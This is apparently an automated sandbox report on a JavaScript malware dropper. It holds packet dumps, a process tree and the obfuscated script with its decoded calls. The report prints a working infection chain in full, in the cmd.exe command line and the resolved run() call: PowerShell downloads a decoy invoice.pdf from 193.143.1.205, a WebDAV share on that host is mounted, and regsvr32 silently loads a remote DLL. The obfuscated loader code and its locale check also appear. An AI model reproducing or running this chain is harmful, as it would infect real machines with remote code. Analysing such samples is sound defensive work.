Jan 10, 2025 21:25:04.743573904 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:25:04.743586063 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:25:04.743599892 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 21:25:04.743611097 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:25:04.743623972 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 21:25:04.743635893 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 21:25:04.743649006 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 21:25:04.743663073 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 21:25:04.748673916 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	193.143.1.205	8888	7672	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:07.011024952 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:25:07.836890936 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:25:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:24:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js"
Imagebase:	0x7ff6c8510000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:24:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Imagebase:	0x7ff63f380000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:24:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:25:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:25:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:25:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63f380000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:25:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff635ff0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:25:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:25:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:25:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1788 --field-trial-handle=1752,i,14332924830377087869,3612148365073113250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tpfxcnkf() {	tpfxcnkf() ➔ undefined
1	mahpdjh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rkluhwwgw = this[ndyznrpo + cntycallx + wpzmmla + zzyxyi + fgxnrf + rsmylci + fxsjkkc + qgxzkf] ( this[zfdthrky + bjfsrwm + uuonq + wpzmmla + nqeswmt + ndyznrpo + qgxzkf][txhuxk + wpzmmla + fgxnrf + cntycallx + qgxzkf + fgxnrf + qbpmqxe + xmtdost + sknxz + fgxnrf + uuonq + qgxzkf] ( zfdthrky + bjfsrwm + uuonq + wpzmmla + nqeswmt + ndyznrpo + qgxzkf + hauqztkxy + bjfsrwm + ybhfgl + fgxnrf + vjcbe + vjcbe ) [pehmo + fgxnrf + eagbeev + pehmo + fgxnrf + cntycallx + iftmufmj] ( dpxekzkf + higigvht + bguapme + ukjkgenm + oqyng + txhuxk + oysipoqke + pehmo + pehmo + bguapme + kxmerxc + qlfcfhnx + oqyng + oysipoqke + bjfsrwm + bguapme + pehmo + ldcnbzqe + txhuxk + aopfbhu + fxsjkkc + qgxzkf + wpzmmla + aopfbhu + vjcbe + nymzwbia + ydaqrhrk + cntycallx + fxsjkkc + fgxnrf + vjcbe + ldcnbzqe + rsmylci + fxsjkkc + qgxzkf + fgxnrf + wpzmmla + fxsjkkc + cntycallx + qgxzkf + nqeswmt + aopfbhu + fxsjkkc + cntycallx + vjcbe + ldcnbzqe + txpede + aopfbhu + uuonq + cntycallx + vjcbe + fgxnrf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hxuamnrbb = 0 ; hxuamnrbb < mahpdjh[vjcbe + fgxnrf + fxsjkkc + eagbeev + qgxzkf + ybhfgl] ; ++ hxuamnrbb )
4	{
5	if ( rkluhwwgw == mahpdjh[hxuamnrbb] )
6	{
7	rkluhwwgw = true;
8	break ;
9	}
10	}
11	if ( rkluhwwgw !== true )
12	this[zfdthrky + bjfsrwm + uuonq + wpzmmla + nqeswmt + ndyznrpo + qgxzkf][untptg + wxrixo + nqeswmt + qgxzkf] ( );
13	this[zfdthrky + bjfsrwm + uuonq + wpzmmla + nqeswmt + ndyznrpo + qgxzkf][txhuxk + wpzmmla + fgxnrf + cntycallx + qgxzkf + fgxnrf + qbpmqxe + xmtdost + sknxz + fgxnrf + uuonq + qgxzkf] ( zfdthrky + bjfsrwm + uuonq + wpzmmla + nqeswmt + ndyznrpo + qgxzkf + hauqztkxy + bjfsrwm + ybhfgl + fgxnrf + vjcbe + vjcbe ) [wpzmmla + wxrixo + fxsjkkc] ( uuonq + kdouaxwtm + iftmufmj + nymzwbia + upycdexx + uuonq + nymzwbia + ndyznrpo + aopfbhu + umcyyoehc + fgxnrf + wpzmmla + zzyxyi + ybhfgl + fgxnrf + vjcbe + vjcbe + hauqztkxy + fgxnrf + peekdbisr + fgxnrf + nymzwbia + ghdwpc + txhuxk + aopfbhu + kdouaxwtm + kdouaxwtm + cntycallx + fxsjkkc + iftmufmj + nymzwbia + vgzoiw + rsmylci + fxsjkkc + tqozcdipt + aopfbhu + qhzcgslud + fgxnrf + ghdwpc + zfdthrky + fgxnrf + xmtdost + pehmo + fgxnrf + dzginxtto + wxrixo + fgxnrf + zzyxyi + qgxzkf + nymzwbia + ghdwpc + qbpmqxe + wxrixo + qgxzkf + weldcn + nqeswmt + vjcbe + fgxnrf + nymzwbia + wrglivusv + qgxzkf + fgxnrf + kdouaxwtm + ndyznrpo + wrglivusv + ldcnbzqe + nqeswmt + fxsjkkc + tqozcdipt + aopfbhu + nqeswmt + uuonq + fgxnrf + hauqztkxy + ndyznrpo + iftmufmj + wgdosht + nymzwbia + ybhfgl + qgxzkf + qgxzkf + ndyznrpo + kruic + upycdexx + upycdexx + lolatqcl + oiqauzf + zkzqls + hauqztkxy + lolatqcl + qywda + zkzqls + hauqztkxy + lolatqcl + hauqztkxy + gilgg + kkeeest + mliuroe + upycdexx + nqeswmt + fxsjkkc + tqozcdipt + aopfbhu + nqeswmt + uuonq + fgxnrf + hauqztkxy + ndyznrpo + ybhfgl + ndyznrpo + vgzoiw + lcinb + lcinb + zzyxyi + qgxzkf + cntycallx + wpzmmla + qgxzkf + nymzwbia + wrglivusv + qgxzkf + fgxnrf + kdouaxwtm + ndyznrpo + wrglivusv + ldcnbzqe + nqeswmt + fxsjkkc + tqozcdipt + aopfbhu + nqeswmt + uuonq + fgxnrf + hauqztkxy + ndyznrpo + iftmufmj + wgdosht + lcinb + lcinb + uuonq + kdouaxwtm + iftmufmj + nymzwbia + upycdexx + uuonq + nymzwbia + fxsjkkc + fgxnrf + qgxzkf + nymzwbia + wxrixo + zzyxyi + fgxnrf + nymzwbia + ldcnbzqe + ldcnbzqe + lolatqcl + oiqauzf + zkzqls + hauqztkxy + lolatqcl + qywda + zkzqls + hauqztkxy + lolatqcl + hauqztkxy + gilgg + kkeeest + mliuroe + ixjacsb + nhpgqdzy + nhpgqdzy + nhpgqdzy + nhpgqdzy + ldcnbzqe + iftmufmj + cntycallx + tqozcdipt + umcyyoehc + umcyyoehc + umcyyoehc + wpzmmla + aopfbhu + aopfbhu + qgxzkf + ldcnbzqe + lcinb + lcinb + uuonq + kdouaxwtm + iftmufmj + nymzwbia + upycdexx + uuonq + nymzwbia + wpzmmla + fgxnrf + eagbeev + zzyxyi + tqozcdipt + wpzmmla + zkzqls + gilgg + nymzwbia + upycdexx + zzyxyi + nymzwbia + ldcnbzqe + ldcnbzqe + lolatqcl + oiqauzf + zkzqls + hauqztkxy + lolatqcl + qywda + zkzqls + hauqztkxy + lolatqcl + hauqztkxy + gilgg + kkeeest + mliuroe + ixjacsb + nhpgqdzy + nhpgqdzy + nhpgqdzy + nhpgqdzy + ldcnbzqe + iftmufmj + cntycallx + tqozcdipt + umcyyoehc + umcyyoehc + umcyyoehc + wpzmmla + aopfbhu + aopfbhu + qgxzkf + ldcnbzqe + gilgg + oiqauzf + zkzqls + gilgg + zkzqls + lolatqcl + ksmronh + ksmronh + qywda + oiqauzf + zkzqls + kkeeest + qywda + qywda + hauqztkxy + iftmufmj + vjcbe + vjcbe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll",0,false) ➔ 0
14	}
15	ukjkgenm = "j";
16	ukjkgenm = "Q";
17	ukjkgenm = "u";
18	ukjkgenm = "s";
19	ukjkgenm = "d";
20	ukjkgenm = "j";
21	ukjkgenm = "O";
22	ukjkgenm = "a";
23	ukjkgenm = "p";
24	ukjkgenm = "Y";
25	ukjkgenm = "h";
26	ukjkgenm = "Y";
27	ukjkgenm = "v";
28	ukjkgenm = "p";
29	ukjkgenm = "Q";
30	ukjkgenm = "g";
31	ukjkgenm = "E";
32	ukjkgenm = "V";
33	ukjkgenm = "N";
34	ukjkgenm = "d";
35	ukjkgenm = "b";
36	ukjkgenm = "K";
37	ukjkgenm = "g";
38	ukjkgenm = "O";
39	ukjkgenm = "s";
40	ukjkgenm = "c";
41	ukjkgenm = "w";
42	ukjkgenm = "B";
43	ukjkgenm = "i";
44	ukjkgenm = "h";
45	ukjkgenm = "t";
46	ukjkgenm = "i";
47	ukjkgenm = "o";
48	ukjkgenm = "B";
49	ukjkgenm = "s";
50	ukjkgenm = "S";
51	ukjkgenm = "i";
52	ukjkgenm = "Y";
53	ksmronh = "h";
54	ksmronh = "r";
55	ksmronh = "b";
56	ksmronh = "d";
57	ksmronh = "X";
58	ksmronh = "E";
59	ksmronh = "F";
60	ksmronh = "y";
61	ksmronh = "V";
62	ksmronh = "r";
63	ksmronh = "7";
64	txhuxk = "k";
65	txhuxk = "g";
66	txhuxk = "X";
67	txhuxk = "S";
68	txhuxk = "Y";
69	txhuxk = "C";
70	nhpgqdzy = "X";
71	nhpgqdzy = "S";
72	nhpgqdzy = "I";
73	nhpgqdzy = "F";
74	nhpgqdzy = "r";
75	nhpgqdzy = "q";
76	nhpgqdzy = "j";
77	nhpgqdzy = "a";
78	nhpgqdzy = "j";
79	nhpgqdzy = "n";
80	nhpgqdzy = "T";
81	nhpgqdzy = "I";
82	nhpgqdzy = "Q";
83	nhpgqdzy = "j";
84	nhpgqdzy = "s";
85	nhpgqdzy = "o";
86	nhpgqdzy = "q";
87	nhpgqdzy = "K";
88	nhpgqdzy = "s";
89	nhpgqdzy = "w";
90	nhpgqdzy = "8";
91	ybhfgl = "G";
92	ybhfgl = "w";
93	ybhfgl = "Y";
94	ybhfgl = "v";
95	ybhfgl = "B";
96	ybhfgl = "h";
97	zfdthrky = "L";
98	zfdthrky = "A";
99	zfdthrky = "I";
100	zfdthrky = "Z";
101	zfdthrky = "y";
102	zfdthrky = "V";
103	zfdthrky = "c";
104	zfdthrky = "l";
105	zfdthrky = "c";
106	zfdthrky = "S";
107	zfdthrky = "l";
108	zfdthrky = "G";
109	zfdthrky = "n";
110	zfdthrky = "W";
111	zfdthrky = "x";
112	zfdthrky = "D";
113	zfdthrky = "t";
114	zfdthrky = "m";
115	zfdthrky = "W";
116	fxsjkkc = "l";
117	fxsjkkc = "V";
118	fxsjkkc = "k";
119	fxsjkkc = "n";
120	ghdwpc = "W";
121	ghdwpc = "N";
122	ghdwpc = "l";
123	ghdwpc = "n";
124	ghdwpc = "d";
125	ghdwpc = "a";
126	ghdwpc = "Y";
127	ghdwpc = "b";
128	ghdwpc = "p";
129	ghdwpc = "q";
130	ghdwpc = "I";
131	ghdwpc = "z";
132	ghdwpc = "m";
133	ghdwpc = "T";
134	ghdwpc = "U";
135	ghdwpc = "a";
136	ghdwpc = "M";
137	ghdwpc = "X";
138	ghdwpc = "H";
139	ghdwpc = "V";
140	ghdwpc = "N";
141	ghdwpc = "z";
142	ghdwpc = "S";
143	ghdwpc = "U";
144	ghdwpc = "W";
145	ghdwpc = "O";
146	ghdwpc = "Z";
147	ghdwpc = "i";
148	ghdwpc = "-";
149	ndyznrpo = "u";
150	ndyznrpo = "X";
151	ndyznrpo = "g";
152	ndyznrpo = "H";
153	ndyznrpo = "h";
154	ndyznrpo = "V";
155	ndyznrpo = "q";
156	ndyznrpo = "N";
157	ndyznrpo = "Y";
158	ndyznrpo = "p";
159	vjcbe = "M";
160	vjcbe = "i";
161	vjcbe = "n";
162	vjcbe = "D";
163	vjcbe = "j";
164	vjcbe = "m";
165	vjcbe = "T";
166	vjcbe = "l";
167	vgzoiw = "K";
168	vgzoiw = "y";
169	vgzoiw = "a";
170	vgzoiw = "k";
171	vgzoiw = "w";
172	vgzoiw = "S";
173	vgzoiw = "r";
174	vgzoiw = "u";
175	vgzoiw = "E";
176	vgzoiw = "V";
177	vgzoiw = "p";
178	vgzoiw = "c";
179	vgzoiw = "u";
180	vgzoiw = "s";
181	vgzoiw = "o";
182	vgzoiw = "y";
183	vgzoiw = "X";
184	vgzoiw = "T";
185	vgzoiw = "F";
186	vgzoiw = "x";
187	vgzoiw = "a";
188	vgzoiw = "c";
189	vgzoiw = "\"";
190	qbpmqxe = "f";
191	qbpmqxe = "W";
192	qbpmqxe = "I";
193	qbpmqxe = "S";
194	qbpmqxe = "a";
195	qbpmqxe = "J";
196	qbpmqxe = "g";
197	qbpmqxe = "t";
198	qbpmqxe = "W";
199	qbpmqxe = "v";
200	qbpmqxe = "X";
201	qbpmqxe = "O";
202	rsmylci = "Z";
203	rsmylci = "O";
204	rsmylci = "d";
205	rsmylci = "t";
206	rsmylci = "g";
207	rsmylci = "z";
208	rsmylci = "u";
209	rsmylci = "E";
210	rsmylci = "r";
211	rsmylci = "x";
212	rsmylci = "U";
213	rsmylci = "i";
214	rsmylci = "e";
215	rsmylci = "T";
216	rsmylci = "m";
217	rsmylci = "x";
218	rsmylci = "M";
219	rsmylci = "x";
220	rsmylci = "d";
221	rsmylci = "I";
222	rsmylci = "a";
223	rsmylci = "x";
224	rsmylci = "v";
225	rsmylci = "a";
226	rsmylci = "S";
227	rsmylci = "i";
228	rsmylci = "I";
229	qgxzkf = "m";
230	qgxzkf = "Q";
231	qgxzkf = "c";
232	qgxzkf = "G";
233	qgxzkf = "B";
234	qgxzkf = "N";
235	qgxzkf = "b";
236	qgxzkf = "z";
237	qgxzkf = "X";
238	qgxzkf = "I";
239	qgxzkf = "x";
240	qgxzkf = "r";
241	qgxzkf = "D";
242	qgxzkf = "F";
243	qgxzkf = "D";
244	qgxzkf = "Y";
245	qgxzkf = "M";
246	qgxzkf = "H";
247	qgxzkf = "P";
248	qgxzkf = "L";
249	qgxzkf = "y";
250	qgxzkf = "U";
251	qgxzkf = "N";
252	qgxzkf = "Q";
253	qgxzkf = "c";
254	qgxzkf = "e";
255	qgxzkf = "H";
256	qgxzkf = "L";
257	qgxzkf = "B";
258	qgxzkf = "W";
259	qgxzkf = "m";
260	qgxzkf = "k";
261	qgxzkf = "w";
262	qgxzkf = "X";
263	qgxzkf = "b";
264	qgxzkf = "t";
265	qgxzkf = "b";
266	qgxzkf = "B";
267	qgxzkf = "t";
268	kxmerxc = "K";
269	kxmerxc = "s";
270	kxmerxc = "N";
271	gilgg = "N";
272	gilgg = "h";
273	gilgg = "x";
274	gilgg = "y";
275	gilgg = "V";
276	gilgg = "A";
277	gilgg = "V";
278	gilgg = "Q";
279	gilgg = "i";
280	gilgg = "r";
281	gilgg = "V";
282	gilgg = "w";
283	gilgg = "T";
284	gilgg = "U";
285	gilgg = "H";
286	gilgg = "y";
287	gilgg = "P";
288	gilgg = "f";
289	gilgg = "h";
290	gilgg = "T";
291	gilgg = "d";
292	gilgg = "a";
293	gilgg = "g";
294	gilgg = "b";
295	gilgg = "E";
296	gilgg = "k";
297	gilgg = "d";
298	gilgg = "M";
299	gilgg = "U";
300	gilgg = "U";
301	gilgg = "p";
302	gilgg = "C";
303	gilgg = "C";
304	gilgg = "S";
305	gilgg = "W";
306	gilgg = "h";
307	gilgg = "E";
308	gilgg = "r";
309	gilgg = "2";
310	nymzwbia = "T";
311	nymzwbia = "W";
312	nymzwbia = "h";
313	nymzwbia = "z";
314	nymzwbia = "r";
315	nymzwbia = "E";
316	nymzwbia = "x";
317	nymzwbia = "l";
318	nymzwbia = "G";
319	nymzwbia = "x";
320	nymzwbia = "E";
321	nymzwbia = "r";
322	nymzwbia = "Q";
323	nymzwbia = "x";
324	nymzwbia = "t";
325	nymzwbia = "o";
326	nymzwbia = "l";
327	nymzwbia = "o";
328	nymzwbia = "e";
329	nymzwbia = " ";
330	kruic = "W";
331	kruic = "a";
332	kruic = "d";
333	kruic = "K";
334	kruic = "p";
335	kruic = "R";
336	kruic = "J";
337	kruic = "n";
338	kruic = "b";
339	kruic = "E";
340	kruic = "h";
341	kruic = "w";
342	kruic = "y";
343	kruic = "I";
344	kruic = "l";
345	kruic = "P";
346	kruic = "E";
347	kruic = "Y";
348	kruic = "M";
349	kruic = "F";
350	kruic = "D";
351	kruic = "r";
352	kruic = "B";
353	kruic = "x";
354	kruic = "J";
355	kruic = "L";
356	kruic = "u";
357	kruic = "Z";
358	kruic = "i";
359	kruic = "r";
360	kruic = "l";
361	kruic = "R";
362	kruic = "H";
363	kruic = "y";
364	kruic = ":";
365	wpzmmla = "D";
366	wpzmmla = "b";
367	wpzmmla = "Y";
368	wpzmmla = "R";
369	wpzmmla = "q";
370	wpzmmla = "p";
371	wpzmmla = "H";
372	wpzmmla = "o";
373	wpzmmla = "D";
374	wpzmmla = "O";
375	wpzmmla = "E";
376	wpzmmla = "h";
377	wpzmmla = "C";
378	wpzmmla = "X";
379	wpzmmla = "Z";
380	wpzmmla = "z";
381	wpzmmla = "r";
382	lcinb = "Z";
383	lcinb = "L";
384	lcinb = "R";
385	lcinb = "M";
386	lcinb = "F";
387	lcinb = "x";
388	lcinb = "e";
389	lcinb = "S";
390	lcinb = "a";
391	lcinb = "N";
392	lcinb = "T";
393	lcinb = "r";
394	lcinb = "p";
395	lcinb = "H";
396	lcinb = "q";
397	lcinb = "a";
398	lcinb = "U";
399	lcinb = "l";
400	lcinb = "u";
401	lcinb = "Y";
402	lcinb = "c";
403	lcinb = "n";
404	lcinb = "S";
405	lcinb = "D";
406	lcinb = "e";
407	lcinb = "Y";
408	lcinb = "e";
409	lcinb = "g";
410	lcinb = "p";
411	lcinb = "l";
412	lcinb = "P";
413	lcinb = "w";
414	lcinb = "&";
415	ldcnbzqe = "O";
416	ldcnbzqe = "h";
417	ldcnbzqe = "X";
418	ldcnbzqe = "M";
419	ldcnbzqe = "p";
420	ldcnbzqe = "n";
421	ldcnbzqe = "g";
422	ldcnbzqe = "J";
423	ldcnbzqe = "I";
424	ldcnbzqe = "m";
425	ldcnbzqe = "C";
426	ldcnbzqe = "b";
427	ldcnbzqe = "m";
428	ldcnbzqe = "Z";
429	ldcnbzqe = "X";
430	ldcnbzqe = "A";
431	ldcnbzqe = "S";
432	ldcnbzqe = "g";
433	ldcnbzqe = "j";
434	ldcnbzqe = "e";
435	ldcnbzqe = "J";
436	ldcnbzqe = "b";
437	ldcnbzqe = "g";
438	ldcnbzqe = "m";
439	ldcnbzqe = "i";
440	ldcnbzqe = "z";
